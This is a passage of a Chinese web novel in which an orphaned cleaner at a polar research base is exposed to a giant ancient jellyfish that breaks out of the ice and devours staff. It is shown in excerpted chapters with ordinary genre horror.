《我是人啊,你不是?》 1. 愚人一无所有(一) 《我是人啊,你不是?》全本免费阅读 麻烦事找上门的时候,徐久正在吃饭。 供给底层清洁员工的餐食自然算不上优质,但填饱肚子是绰绰有余了。徐久的餐盘里瘫着一大勺散发着橡胶味儿,颜色如同燕麦粥的淀粉糊糊,旁边堆着一小勺颜色更深,据说是掺了足量脂肪与蛋白质的咸味肉糜。 他缩在角落里,手里拿着块死硬的压缩冷饼,正一声不吭地埋头猛吃,拿饼子发狠地刮那两堆粘稠如酱的东西,权当蘸料。 旁边的清洁工缩了缩脖子,又嫌弃,又有点羡慕。 “饭桶一个……胃口这么好呢。” 他清清嗓子,徐久仍然头也不抬,四下里只听见连续不断的咀嚼声,以及防护服窸窣摩擦的声音。 “哎,哎!叫你呢,小徐!”男人试探性地挥了挥手里的饼子,“下午跟我换个班呗?好处也不亏了你的,我拿压缩饼干跟你补,咋样?” 听到有吃的,徐久这才抬起脸来,望向对方。 清清秀秀的一张脸,皮肤白得像个鬼影,两片薄薄的嘴唇也缺乏血色,在食堂灯的照射下,他凌乱的短发几乎是深棕色的,末端毛糙糙的发黄。整个人瘦得犹如一只饥肠辘辘的流浪猫。 “啊?”徐久擦擦嘴角,露出个有点迷糊的笑,“伍哥不要说笑话了,你下午是负责洗放射油桶的,那玩意儿搞不好就要人上吐下泻,我不去。” 伍哥有点急了,他赶紧坐过去:“小徐,别啊!你看,你孤家寡人,你伍哥可是拖家带口,家里还有人等我回去呢。你侄儿侄女的照片,我给你看过了,是不?我是真把你当自家人!小徐你就帮伍哥这一回,我这上有老下有小的……三顿!三顿饭的压缩饼干,伍哥都让给你,你不是喜欢吃,能吃吗?” 见徐久不吭气,光咧着嘴傻乐,他一下又变了张脸,低声道:“而且小徐,你可别忘了,上次的事是谁帮你抗下来的。主管可没找你的麻烦吧?我可是吃了大苦头的!” 徐久无奈地放下饼干,哈出一团白雾:“伍哥,那事本来你就有责任。我是没把干净器材及时收进去,但你手里可拿着钥匙,是你忘了关门啊。” “翻旧账是不?跟我翻旧账是不?!”伍哥一下坐直身体,他还想再说些什么,徐久的笑容更加灿烂,朝他比划了几根手指头,说:“五顿的压缩饼干,除了这个,我还要你那份水果,伍哥。” 伍哥有片刻的傻眼。 是的,水果。尽管这个分部设立在鸟不拉屎,千里不见人烟的极地,正式员工还是可以吃到水果的。不过说是水果,其实只是脱水的水果干。少量瘪脆的苹果片、香蕉片,装在巴掌大的袋子里,他们这些底层的清洁人员自然也算正式员工,一周可以分到一次。 即便如此,这种果干还是弥足珍贵,在数量庞大的底层人员当中,差不多可以当做一种交易货币来使用。 徐久又笑:“不愿意就算啦,伍哥,你洗放射油桶的时候,我会帮你看着东西的。” 伍哥的牙齿咬了又咬,他不甘心地猛地站起来,僵持了一会儿,他重新坐下,压低声音说:“小徐,你也太狠了吧?” “那你找其他人去帮你洗油桶。”徐久开始把压缩饼干掰成小块,用手指头按在糊糊里,让其被充分浸泡。 “好,好,”伍哥气笑了,“一言为定,你给我洗油桶,我给你五顿的饼干,一周的水果……” “这周的水果,”徐久补充,“不是‘一周’的。” “得——”伍哥再站起来,皮笑肉不笑地说:“这周的水果,这周的。” 见徐久点了下头,男人拔腿就走,临走前,恶狠狠地骂了句:“饭桶,吃不死你!” 徐久权当没听到,笑容里一点勉强的影子都没有,冲对方的背影喊了句:“明天见,伍哥!” 他走了,偌大的食堂,再没有一个人找徐久说话。他孤零零地吃完饭,孤零零地把盘子送去洗掉,装柜,再孤零零地回自己狭小的,胶囊似的简陋宿舍。 徐久没有父母,在莫比乌斯实验室,像他这样身世不详的孤儿还有很多。这个名为实验室,实则如巨企一般的庞大组织搜罗这些孤儿,就像搜罗水面上的浮萍。它吸纳他们,给他们食物与容身之处,同时也毫不留情地筛选,淘汰,压榨着他们。 徐久早就忘了自己从哪里来,更无从知晓自己还有没有其他血亲在世。相比那些资质不凡的同伴,徐久在学习方面的天赋平平,在实验室主导注资的学校里,他高中的课程只上到一半,就被负责考核的老师用一张纸,一个印章,打发出了教室。 好在他从小就在实验室统治的辖区内长大,对实验室的管理人员而言,与其雇佣外来的人员,不如选徐久这种背景更干净,更知根知底的孩子。 就这样,他在非自愿辍学的第二天,就无缝衔接了工人的身份,成为了低级清洁工大军的一员。 徐久摘下自己的工牌,丢在半人高的小桌子上。昏暗的灯光,照亮了上面八字环的标识,以及一个小小的“6号”。 梦想离他太远,明天也是十分虚无缥缈的东西。徐久的心愿十分务实,他只想在临死前的每一天都不饿肚子,最好就是可以在被实验室当耗材烧干净的那一刻死得痛快些,不要受太多折腾。 在这之前,擦洗放射性油桶都算是小事了,能多吃点就多吃点吧,过了今天,谁知道以后会是什么样? 他爬上窄小冰冷的床,托了换班的福,他得以短暂地小憩片刻。半个小时后,床头的指示灯亮起刺眼红光,伴随震耳欲聋的尖锐响铃声,徐久脑瓜子嗡嗡响,仓促地睁开眼,急忙从床上蹦下去,抓起工牌就往外跑。 走廊浸透寒意,冻得人直打抖。他现在所处的地方,目前是莫比乌斯实验室最重要的一个分部点。多年以来,总部耗费了巨量的人力物力,在极地建设起庞大的机构,以及与之配套的物流设施。 徐久是四年前被调来这里的,四年来,他不光见过很多被寒冷和封闭环境逼疯的人,更见多了死人。他心里清楚,自己迟早也会落得一样的下场,无非是时间早晚的问题而已。 他开始在坚硬光滑的走道上小跑,一边跑,一边把工牌别到胸口的位置。他越跑越快,穿过七拐八拐的长廊,耳边听得到呼呼风声,临近运输点了,才慢慢停下来,汇入正在集结的队伍。 主管板着张脸,走下运输车,手里拿着ID录入机,清洁工们立刻就熟练地排好队,挨个上去,揪着工牌打卡报道。徐久排在队里,一步一步地往前走。 中午还没睡够,乏味的打卡流程未免叫人容易走神,徐久昏昏沉沉的,勉强支着自己的眼皮,免得叫主管揪住把柄,又吃一顿排头。但就在这时,运输点大门的警示灯忽然亮起醒目的橙黄色光芒,同一时间,嘹亮的蜂鸣声贯穿全站,震得人耳边嗡嗡作响。 所有人都大吃一惊,不知道突然出了什么变故。与此同时,冰冷的电子音响彻上下,同样是全站点无差别播报。 “此信息由中枢控制系统发出:阿尔法小队立刻前往A区进行肃清活动,贝塔小队原地待命,协助伽马小队与泽塔小队进行护送任务。再重复一遍,此信息由中枢控制系统发出……” 主管和其他人都呆若木鸡,不得不停在原地,等待广播结束。 徐久心里有数,这是一次不同寻常的人员调配任务,南极站点一定是出现了非常罕见的情况,才会一口气出动这么多的武装力量,但究竟出了什么问题呢?他想不出来,也不愿去探究,好奇心旺盛的人会在这里没得很快。 不多时,沉重而整齐的脚步声由远及近地传过来,枪械与金属的碰撞声轻微且细碎,犹如一阵冰雨,裹挟肃杀的寒意。 空气似乎更冷了,运输点的人们不约而同地屏住呼吸,低下头,偶尔抬起微妙的一瞥,朝走廊那头递去小心翼翼的偷窥目光。 ——阿尔法小队,独属于实验室的一等重装火力部队,专门负责清洗与镇压事项。 这支制服漆黑,头罩覆面的队伍气势十分骇人。他们的数量不算多,然而全员身材高大,体格魁梧如巨人,单手就能装配沉重的马克沁机枪与重型火箭筒,并且一动不动地承受武器的强大后坐力。无论外形还是力量,他们都不像正常的人类,更像是某种经由生化改造过的不自然产物。 在这样可怖的人形坦克面前,没有谁敢随便发出声音,惹来不必要的关注。 空气几乎凝固了,紧张得叫人发抖。主管一改平日嚣张跋扈的模样,龟缩得像个鹌鹑,动都不敢动。 清洗与清洁,两种职责,一字之差,却在徐久面前划出了一道不可逾越的天堑。合金地板不安地颤动着,他低垂着头,在心里百无聊赖地猜测这些杀人机器的份量到底有多重。 【这些是什么?】 一片死寂中,阿尔法小队前排的一个成员忽然开口,指向清洁员汇聚的大部队。 他使用的是加密语言,隔着面罩,外人只能听见几个低沉的,叽里咕噜的音节。 【消耗品。】打头的人回答,【别问无聊的问题。】 【应该送去前面。】先前说话的解释道,【消耗品总是多多益善。】 队长呵斥道:【任务为上,这不是你现在该考虑的事情!】 他们只说了寥寥数语,简短得令人费解,但徐久看得分明,刚才那一指的动作,已经叫主管浑身大颤,活像被高压电狠狠宠爱了一下。 < 2. 愚人一无所有(二) 《我是人啊,你不是?》全本免费阅读 旁边有人过来随手扶了一把,徐久低声道谢,对方也不吭气,很快收回了手。 徐久的脑子还有点蒙,他甩甩头,龇牙咧嘴地摆正了身体,顾不得侧腰的疼痛,迅速汇入队列中,站在末尾,一瘸一拐地跟着往外走。 要去哪,他不知道,更管不着。一行人迅速脱了防护服,卸下铅衣,身上还满浸着湿漉漉的汗,就一头扎进了外头寒意逼人的空气里。 “上车。”女人说。 主管先前没有得到答案,这会儿仍然不甘心,还大着胆子凑上去:“女士,尊敬的女士,我们这趟公干大概要去多久?我那儿还有几份要紧的文件,我得收拾……” 研究员定定地盯着他,嘴角轻微地跳了下,拧出一条细细的唇线。 她似乎是在笑,但她的表情比不笑还要瘆人。 “不想死就闭嘴,上车。”她说。 主管不敢吱声了,他又想起不久前的那一指头,胆战心惊地缩着脖子,灰溜溜地上了运输车。 徐久一脸茫然,坐在运输车后排,像是睁圆眼睛的小沙丁鱼,在罐头里晃来晃去。他小心地按着自己的腰,等待着运输车停下,好让他知晓自己的终点站是什么。 但车越往前开,他心里不妙的感觉越重。 运输车已经过线了。 在极地站,和他一样的清洁工,厨师,器材管理,物流与安保的人员固然占据了大多数,但他们一直住在站点外环,与内环隔着泾渭分明的红线,谁敢擅自走进内环的区域,跟主动自杀也没什么区别。 现在,运输车早已越过那道不实的红线,伴随着象征通过的绿色灯光,合金大门层层洞开,他们进入了神秘莫测的内部区域。 这辆车究竟要去哪里?徐久皱起眉毛,伍志强答应给我的报酬,我还有机会拿到吗? 这一刻,他意识到一件事,如果两个人没有换班,此时坐在这辆车上的人应该是伍志强才对。冥冥之中,仿佛是他接替了对方的某种命运路线。 气温低得可怕,每呼吸一口,都像是噎了满腔的冰碴子。越来越多的运输车跟他们的路线重合,徐久估计了一下时间,运输车大约行驶了四五十分钟,中途停了三次,每一次,他们都需要步行下车,领取御寒的衣物。 徐久再依次换好这些护膝,围脖和外套。衣服都是均码,带着股冷硬的消毒水气味,固然干净,但还是令他止不住地发散了思绪:这些衣服,以前又被哪个倒霉蛋穿过呢? 穿过最后一道厚重的大门,沿着晦暗的隧道,运输车居然开始往下走了。 车上的人不约而同,全都低低地“咦”了一声。徐久看到隧道两旁点着幽蓝色的冷光,蜿蜒曲折,犹如某种巨兽的诡异食道,但不知道为什么,越往底下走,前方的光线反而越亮。 将近五六公里的路程,半个小时过去,运输车终于停下,车上的人凑近玻璃窗,再度不约而同地“哇”出一声。 徐久明白那样明亮的光线来自何方了。 ——金属与水泥的隧道消失在手脚架,以及更高处的古老冰层里。这个广阔的空间几乎是全蓝的,冰川组成了地下的天空,用人造的灯火折射出一千万粒人造的星光。每个人的脸上、身上都波光粼粼,犹如行走在虚幻的海底。 这儿简直是个巨大的挖掘现场,人声嘈杂,切割机分裂冰块的鸣啸在远处作响,徐久来不及打量更久,他已经看到了成群结队,荷枪实弹的警卫,虎视眈眈地瞪视着他们这些新来的人。 “下车登记身份!”前面有人喊了一句。 徐久撑着站起来,他握紧了工牌,跟在后面下了车。录入个人信息的时候,他听见前面那人还在说话,语气极不耐烦,警告道:“……都管好自己的眼睛,别他妈乱瞟乱看,想死就直说,懂?到了这儿,上面叫做什么就做什么,谁要是敢磨磨蹭蹭的,有的是手段等着你们!” 徐久又有点想笑了,因为他看见主管这会儿正站在最前列赔笑,点头哈腰地挨喷。 笑过之后,身上仍然疼,他还得装作若无其事的样子,排队领取自己的工具和装备。 “从今天,不,从现在开始,这就是你们的宿舍。”另一名研究员带着他们,熟门熟路地走进一栋灰扑扑的建筑,“这里不比外环,采用轮班制。你们平时的工作时间、工作习惯、生物钟……所有都要改。” 他一面说,主管一面唯唯诺诺地应承。 “每天早上七点,你的人必须到位。而且,除非这儿的人主动要求提供帮助,你手下这些搞卫生的,不许跟楼里任何一个人搭话,明白吗?要是被逮住,我丑话说在前头,这里的人命可不值钱。” “对对对!是,”主管点头如捣蒜,“您说的是。” “我看看,你的级别是C级……怎么就调了你一个C级的管理人员?这不胡闹吗?”研究员眉心紧皱,“这样好了,这栋楼一到三层的人员都暂时由你负责调配,地图和警示须知全在这里,还有问题就去系统里发申请提问。” 瞥见主管油光满面的窃喜表情,徐久心里止不住地膈应。研究员抬手瞄了下腕表,说:“给你们两个小时安顿,两个小时后,安排第一波人去实验楼清扫,不得延误。” 下达完指令,他便头也不回地走了。 就这样,徐久被赶鸭子上架,突然成了一个绝密项目的参与者——随时会没命的那种。 他像一双特别局促的一次性筷子,或者一次性手套,不出所料地被主管安排到了第一批清扫人员名单里。他拎着桶,笨拙且摇摇晃晃地在冰面上行走,经过两层消杀的通道,进入了那个神秘的实验楼内部。 所有清洁工的共识,最好的活是去打扫住宿区的生活垃圾,安全无害,还有机会收到一些高级研究员和博士们不要的杂书和家具;次一等的是去打扫行政区和仓库区,行政区干净,活少,通常是拖地,擦玻璃,帮着处理废文件,仓库区累,活多,但也能收到些好东西;再次一等的是打扫卫生间,这是个又脏又干净的区域,马桶和擦屁股纸当然是脏的,可比起化学试剂,这便又干净了许多。 而最差的活,就是去实验室,在那些视人命如草芥的科研狂人眼皮子底下走动。 徐久这次的运气不错,他被选去办公室,在那里扫地拖地,收拾废弃的文件。弓腰弯背地干了半天,真的撑到前胸贴后背,两眼发晕了,才被放下去吃饭。 然而一到食堂,徐久的眼睛瞬间就亮了。 晚上居然有现做的热饭,热的! 他至今记得,他出学校前吃的最后一顿正常饭是馒头和炒菜,那时候,他还能把馒头撕开,往里夹热腾腾的红烧肉。 自此以后,这顿饭的影子陪伴了他很长时间,让他到梦里都在流口水。 徐久彻底忘了身体的不适,冲到队伍后面开始转圈圈,激动到开启震动模式。极地资源有限,热饭热菜,那得是研究员们才能享受的待遇,这儿条件这么好的? 热腾腾的香气直往鼻子里扑,唾液冲得人腮帮子酸痛,以至于轮到他了,徐久端着个盘子,压根不晓得怎么开口。 打饭的人瞅了他一眼,自顾自地往他餐盘里放了两个黄澄澄的大馒头,一小勺酱瓜榨菜,一勺木耳炒蛋,一块加热的黄花鱼罐头,便用眼神示意他快点走。 食堂人太多了,徐久连椅子都找不到坐的,随便找了个角落,直接蹲到地上开饭。第一个馒头是干嚼的,他张嘴咬了一口,眼泪差点流下来。 太好吃了! 馒头里和了玉米面,嚼起来很有韧劲,舌头上尝的到淡淡的粮食甜味。他狼吞虎咽地嚼了一个,第二个理应吃慢一些。于是徐久先掰开一半,把酸甜的酱瓜往里面夹,就着木耳炒蛋吃。炒蛋盐放得有点多,他反而觉得刚刚好。最后半拉馒头,他把黄花鱼罐头当酱,蘸着往嘴里送。 一顿饭风卷残云,盘子比洗过还干净,徐久意犹未尽,觉得自己还能再吃掉两盘,奈何一顿饭的定量就这么多。他只能依依不舍地放了盘子,一步三回头地回到宿舍。 要是能天天吃这么好,他心想,就是立刻死了也行啊。 他短暂地睡了三个小时,第二班就轮到他了,这次做到凌晨两点钟,回来之后又累又渴,喝完水倒头就睡。到了早上七点钟,徐久起床,浑身就像散架了一样,他掀开衣服一看,昨天被主管踢到的地方已经变成深深的青紫色,看着怪吓人的。 管不了那么多,他到公共卫生间洗漱完,尾随在大部队后面,去食堂领早饭。徐久期待不已,探头一望,早餐却还是熟悉的营养糊糊、压缩饼干。 失望之余,他又觉得这样也蛮不错,毕竟一天能有一顿热饭,已是别人抢破头都求不来的好差事。 伍志强和徐久许诺的水果干,此刻早被他抛到了九霄云外,主管得以晋升,同样心满意足,暂时忘记找他的麻烦。 他就在这里安心地做了四天的工,结果在第五天的时候,事情又撞到了徐久头上。 出事的时候,他正在一楼的办公室处理废弃的文件,把它们按顺序塞进碎纸机。这时,走廊里响起一阵急促响亮的脚步声,下一秒,办公室的门被一把推开,出现两个穿着防护服的研究员,语气焦躁,大声催促道:“这里面的所有人,带上工具,跟我们走!” 徐久不明所以地站直了身体,跟房间内的其他人交换了下眼神,接着便提上水桶和拖布,一声不吭地跟在二人后面,尾随他们乘上电梯,一路下到了负四层的位置。 徐久心里直打鼓 3. 愚人一无所有(三) 《我是人啊,你不是?》全本免费阅读 13号被他噎得哑口无言,满心沮丧无处可去,只能狠狠瞪了他一眼。 临到晚上,徐久在食堂先喝了一碗甜菜汤,然后抓起几块大列巴,往里头狠狠夹冷熏香肠。成年人手掌厚,三指宽的干面包,他一口气咽下去三块,再接着喝了一大碗甜菜汤。 经过几天的磨合,他们这些新来的或多或少可以猜出来,食堂的菜式是跟着上面博士们的口味变化的。今天吃中餐,他们就跟着吃馒头,饺子和炒菜,要是明天吃德国菜,他们也能分到些咖喱肠,肉饼和烤土豆。 徐久狼吞虎咽,其他人则明显不似他这般有食欲,几个人瞥一眼他的吃相,又交换了嫌弃的眼神。 他不管这个,吃完了一抹嘴,抓紧时间,拎着牙杯和毛巾上公共盥洗室拾掇自己去了。极地不缺水资源,但研究站的自来水供应可是限时的。 只是捱到半夜,徐久躺在床上,仍然睡不着觉。 他脑子乱糟糟的,想今天发生的事,想那堆糊成烂饺子馅的尸体,骨头都不知道被什么玩意儿给烧黑了,死得不知道脸在哪,手在哪;也想那些人看不惯自己的眼神,想他们聚拢在身后时发出的窃窃私语;还想那只大水母,美得像在做梦,根本无法用言语去形容。 他不舒服地动了动手腕,伤口犹如大片长在外边的溃疡,一碰就百爪挠心地疼。 临睡前,徐久包了纱布,可这伤却不见一丝好转的迹象。他甚至有种说不出的感觉,就像这块硬币大小的创伤,正在朝他的血肉深处,骨髓深处,乃至灵魂深处腐烂,而他却无计可施,一点儿也不敢向上汇报他的情况。 极地站点到底在研究什么呢?那只大水母吗? 徐久避开伤口的位置,烦躁地在狭窄的床上翻了个身。 我还能活多久?他接着想,我死的时候,会不会也跟白天那些人一样,无依无靠,连个葬身之地都没有? 很小的时候,徐久不是没想过要去找自己的爹妈,但既然已经被莫比乌斯的人收拢在旗下的福利院,怎么可能让个小孩子随便跑出去?很快,徐久成了重点照顾对象,沦落到日常三餐都要跟福利院的大孩子们一块抢饭吃,抢不到就挨饿,抢到了也只是些残羹冷炙,顶多塞下牙缝。连填饱肚子都成问题,哪还有精力想东想西? 饿得时间长了,他只能拼命在福利院里表现,抢着干活,抢着嘴甜,抢着在护工面前展示他能写字,会读书。钻营的心计,全得拿来确保自己不被饿死。 等他再大一点,终于可以拿着考核师的推荐评语,去莫比乌斯注资的学校上学,一日三餐是不愁了,新的问题又接踵而至。 他没有读书的天分。 实验室收养大批的孤儿,资助他们上学读书,必然不是为了做慈善。徐久一入学,老师对他们说的第一句话,便是“我不管你们以前是什么样,在我这儿,你只要聪明,干什么都行,在我办公桌上拉屎都行!” 年轻的学生们纷纷为老师粗俗直率的话哈哈大笑,徐久亦然。只是随着时间的流逝,他方能体会到这句话的残酷之处。 ——挖掘天才,挖掘搞研究的天才,才是莫比乌斯的真正目的。 私下里,教师们全把资质平平的学生称作报废品,倘若能得到一个天资纵横的学生,即使“报废率”达到一比一百,一比五百,也是值得的交易。 天才的精英生拥有一切,他们在学校里呼风唤雨,享受所有的特权,毕业了去总部深造,直接调入各个站点,入职就是中上层人员。 在这里,学历的森严等级代替了一切权力职务。徐久,还有和徐久一样的普通学生,或许对“市长”“首相”“总理”的称谓一知半解,无法切身体会外面世界的大人物是如何运用他们的权能,但他们一定十分清楚,“C类研究员”可能就是他们奋斗一生的终点,“博士”更是位高权重,能够调动军队,掌握着许多人的生杀大权。 上到初中的时候,学生中间一直很流行一句话,“世界是一个巨大的游乐场,有的人是主角,有的人是供主角取乐的NPC”。 徐久深以为然,他拼搏过,努力过,然而天分这东西,没有就是没有,不能伪装,更不能后天培养,比什么都直白残酷。 他曾经学到高烧不退,病倒在学校的寝室,可到了年终考核,还是能有人笑嘻嘻地拿出满分的试卷,和几乎满分的实验课绩点,搏得教师们的满堂彩。 没有人看到徐久,关心他的身体和进步的成绩,只有异样的眼光,若有若无的闲话,以及关乎他如何自不量力的嘲笑,一直伴随他升到高中。 徐久终于躺平了,不折腾了。 他接受了自己的平庸,一如他接受自己NPC的身份,以及任人宰割的未来。高中还没上完,徐久便被打发出学校,过早进入研究站点工作。 或许人就是这样的生物吧,生也渺小,死也微贱,来和去都没法发出太大的声音。 不知过了多久,徐久终于睡着了,只是睡不了多久,他又挣扎着醒来。 他的身体滚热,发起低烧。他头昏昏沉沉地从床上滚到地下,让额头在冰冷的地面上贴了好一会儿,再头重脚轻地爬起来,跌坐在椅子上。 徐久的手腕肿得更加严重,溃烂更深,疼得麻木,已经不太能弯曲了。伤口边缘还不停往外渗腥苦的脓血,闻得人脑门发晕。 徐久把袖子咬在嘴里,一圈圈地解开湿漉漉的脏纱布,丢进垃圾桶,再吃力地拧开碘伏瓶子,闷着头便往伤上浇。 “呃!”他的嘴里咬着东西,不至于一下大叫起来,但即便如此,突然奔涌的唾液还是打湿了布料。徐久眼冒金星,呼吸断断续续,这一下疼得他汗出如浆,后背即刻汗津津的一大片。 他忍着呻|吟,发抖地处理伤口。清洁工的胶囊宿舍隔音太差,他压不住声音,左右隔壁马上就会举报给主管。 勉强把横流的碘伏液擦干净之后,他再拿过盛着隔夜冷水的牙杯,胡乱倒进去些消毒消炎的药粉,发狠地冲过去。 一套下来,徐久全身湿淋淋,像是从水里捞出来的。床头的闹钟响个不停,他喘着粗气,重新拿干净绷带缠紧伤口,尽量不让外人瞧出端倪。 他一阵阵地打着寒颤,临出门前照了下镜子,里头的人头发凌乱,发梢粘在脸上,眼下带着一圈青紫,嘴唇白得发干、起裂,活像个鬼。 “快点儿!”同组的人在外面不满催促,“就差你了,想牵连我们一块迟到是吧?” 昨天的13号看出他状态不对,忍不住多问了句:“怎么了?” “我……”徐久沙哑地开口,“我没睡好,做了一晚上噩梦。” “哦,”13号会意地笑了下,“吓着了,是不?你说说你,这才像个正常人的样子嘛,昨天装什么深沉,听得人心里膈得慌……” 一组七个人先去吃了早餐,徐久罕见地吃不下东西,压缩饼干只沾了沾嘴唇,拼死拼活地把营养糊糊填了两口,便撂了碗。 好在不知道13号跟其他人说了什么,没人在乎徐久此刻的异样状态,他一直断断续续地打着摆子,身上一阵冷得像冰,一阵热得像炭。 但棘手的地方不在这里,负四层是有严格的安检环节的,必须确保在里面工作的人绝对健康,即便体温稍有异常,都得被抓出来询问。徐久肯定熬不过这关,万一他被揪住,那接下来的日子,是难受是快活,可就一点由不得他了。 徐久必须想个办法,尽量能拖多久拖多久,于是,他瞅准时机,终于使出经典一招。 马上快进电梯的时候,他忽然“唉”了一声,俯身抱住肚子,余下的人俱被这动静吓了一跳,低头看他。 “咋回事,6号?”其中一个人问,“你生病了?” “不知道,”徐久艰难地说,“就是,想上厕所……可能昨天晚上着凉了……” 他装都不用装,脸色已是难看得要命。13号着急道:“下电梯了再去啊!你走了,我们咋交待?” “全推我头上,”徐久气若游丝地说,“实在不行了,真的,不骗大家……” “哎你……!”剩下的人来不及阻拦,他已然弓着腰,跌跌撞撞地朝走廊尽头跑去。 他顾不得身后大喊的同队,也顾不得自己在路上撞到了多少得罪不起的人,徐久一头扎进卫生间,扑开一扇隔间的门,靠在墙上不住喘息,心脏拼命狂跳。 他的手腕彻底没有知觉了,原先还疼,这会儿完全木掉,只能勉强晃动两下。不幸中的万幸,伤在左手,而不是惯用的右手。 我不会要截肢了吧…… 徐久迷迷糊糊地靠了一阵,好在这会儿正是上班的时间,卫生间内空无一人,他才敢放心在里头露出绷带,再勉强清理一下伤口。 他把脸埋在冷水里,努力让体温往下降。此刻他似乎精神些了,但徐久也不知道,这是不是某种回光返照的迹象。 他疲惫地往电梯走,果不其然,刚下到负四层,走近安检门口,还没等进去,他便叫几名威严的警卫喝住,停在原地。 “站住!工牌拿出来看看!” 徐久连忙站定,放下工具,掏出工牌给对方扫码。 “对不起,对不起,”徐久低声下气地说,“昨天晚上着凉了,拉肚子,不得已去了趟卫生间……” “拉肚子?”那警卫人高马大,宽得一个顶两个徐久,“你……哎?你把头抬起来,我怎么看你脸色不对劲啊?” 他这么一说,其他几个人也跟着围上来,徐久心跳得更快,他急忙说:“应该是有点脱水……” 他一边说,一边不得不慢慢抬头,视线里,那块蓝莹莹的高耸冰川再度映入眼帘,连带着里面冰封万年的巨型水母也…… 等一下。 徐久忽然愣住,不由自主地眯起眼睛。 是发烧产生的幻觉吗?他为什么看到冰川周围的脚手架摆动了一下? “……跟你说话呢,让你去测量体温!要我们动手请是吧?” 徐久回过神来,张了张嘴:“那后面……” “啊?” “脚手架在晃,”他茫然地说,“后面的脚手架在晃。” 听他这么说,警卫也下意识转头:“说的什么屁话,哪儿的脚手架晃了……” 说话间,在所有人的注视下,冰川附近的脚手架再次十分缓慢,然而幅度异常剧烈地晃动了起来! 警卫:“……” 负四层一下炸开了锅,警卫掏出对讲机,大喊道:“紧急情况!紧急情况!” 接着便抽出警棍,往脚手架的方向狂奔,徐久迷惘地站在原地,已经烧得有些糊涂了,不知道自己该干什么。然而下一秒,犹如古琴弦断,尖细脆硬的碎裂声交叠着迸发,万古不化的坚冰竟像是被某种巨大的外力挤压,爆出一连串的密麻裂痕。 “控制室呼叫阿尔法小队!”控制台上方,一道年轻男子的声音传遍整个地下空间,“控制台呼叫阿尔法小队!立刻增援,地下的情况开始失控了!” 话音刚落,高耸的脚手架便轰然坍塌,地面猛烈摇晃,有的人往冰川周围跑动,还有的人在拼命向外逃窜,场面一时陷入混乱。 就在这时,徐久听到了声音。 这种声音无法复述,不能重现,那实际上也不是自然界的任何生物可以发出的声音。硬要形容的话,就像鬼魂在地狱的血河里溺亡,一边下沉,一边从骸骨里挤出不断破灭的泡沫。 ——冰层缓缓地剥落,仿佛幼雏即将破壳而出。水母巨大的身体逐渐暴露在空气中,人们首先看到的,是它如丝般飘荡的触须,以及泛着七彩虹光的润泽口腕。 这美得像是一场梦。 空气中充满了神秘的幽香,寂静死一般地笼罩四方,人们似乎完全忘记了自己的目的,而是不由自主地停下脚步,仰起头,竭力伸长脖子,试图用肉眼完完整整地捕捉到这个生物的全貌。 然后,就再也没有然后了。 ——梦醒得如此之快,那些如丝的华美触须,和鬼魅一样飘忽不定,亦如鬼魅一样令人恐惧。它们在接触空气的刹那,就敏锐地捕捉着一切活物的气味,并且开始了万年来的第一次捕食。 尖叫与惨叫声瞬间不绝于耳,在怪物面前,坚韧的防护服也只是不堪一击的旧纸,轻而易举地被刺穿、扯碎。人体像是插在许多根特别锋利的铁签子上的羊肉,接着便被口腕慢条斯理地包裹起来。 但只要一眨眼的功夫,惨叫就湮灭了。人消失在口腕的表皮上,如同水消失在水中,只有短暂喷出的大量蒸汽,昭示着一个活人曾经存在过。 口腕狂喜地蜷曲,这只怪物正疯狂痛饮着猎物的丰沛血水。 危机关头,徐久却一下福至心灵,突然明白了自己那诡异的伤口究竟是怎么一回事。 粘液……极地站的人一定是提取了这头怪物的体表粘液做实验,所以,尽管隔着时间与空间的阻碍,可他仍然在被这头怪物一点点地蚕食、消化! 徐久想跑,可他早就没什么力气跑了,只能被混乱的人流推得东倒西歪,扒在门边。 巨型水母的身体,已然挤出了三分之一的质量。它流光溢彩的伞盖仿佛大而柔软的空泡,在空中无风自动,荡漾着袅娜的波纹,伞盖下方,透明的肉质口器犹如名花盛放,层层地舒展,盘旋。 “所有人立刻撤退!立刻撤……!” 控制台上,年轻的男声更加狂躁,数条硕长的口腕紧接着横扫而至,切割金属,压垮石柱,将坚固的控制台一分为二! 命令猝然中断,在广播内化作尖锐的音啸,继而连音啸也归于寂静。 没有人还敢停留在原地,最狂热,最醉心于研究的那批研究者,早已在第一时间化作血水,被巨型水母吸进了食道。 倏然间灯光全灭,从负三层传出机械咆哮的声音,连带着负四层的天顶都在凶猛地颤动。轰然巨响中,阿尔法突击小队自天而降!马克沁重型机枪高速转动,枪口齐齐喷吐蓝色火焰,尚未落地,一式七发的蜂巢火箭|弹已然呼啸出击,在极短的时间内,接连爆发出二十八次耀眼的火光。 冰川发出摇摇欲坠的哀鸣,那种空腔开合的声响同时更加响亮,徐久蜷缩在桌子底下,终于看明白了,那不是什么“恶鬼吐泡泡”,而是巨型水母的中胶质层相互摩擦,从而传出的一连串声响。 水母马上就要摆脱坚冰的束缚,只有少量躯壳还埋在冰中。它彻底被面前的猎物激怒,触须与口腕飘扬浮动,仿佛张开的天罗地网,以 4. 愚人一无所有(四) 《我是人啊,你不是?》全本免费阅读 有那么一阵子,徐久的脑子是全然空白的。 怎么办,他需要赶快逃跑吗?需要一边跑一边大喊大叫吗?还是说富贵险中求,亲自抓住眼前的漏网之鱼…… 他的思绪混乱地转过一刹,地上那坨剧毒果冻似乎已经敏锐地察觉到了他的意图,急促地颤抖着,发出了—— 徐久惊慌失措地后退一步。 ——发出了细细弱弱的幼猫叫声。 徐久:“?” 幼猫的叫声消失,继而发出的是小奶狗无助的哼唧,然后是幼鸟乞食的喳喳声,小羊羔那神似婴儿的嫩嫩喊声,狐狸幼崽的吱吱声……最后,它甚至模仿着人类幼儿的呼唤声,冲徐久哭哭啼啼地叫着“妈妈”。 徐久:“……” 霎时间转过的十几种叫声,令他深刻地意识到一件事:眼前这个小怪物,已经使出了浑身解数,试图引发自己的怜悯之情。 面对如此诡异,诡异到了荒唐的景象,徐久本应感到毛骨悚然的,可他此刻只觉得有些哭笑不得。 或许真的是太寂寞了吧,他慢慢蹲下身子,伸出左手,向史莱姆展示自己的伤势,以及邋遢到不行的绷带,轻声说:“你还好意思跟我装可怜啊?你瞧瞧你,把我都祸害成什么样子了?” 果冻——准确来说,是巨型水母的残留,在地上扭了扭。明明没有眼睛,可徐久就是有种幻觉,它正在打量着自己。 “什么人在那边!”远方猛地打来一道手电筒的光,想必方才的动静同样吸引了巡夜的警卫。 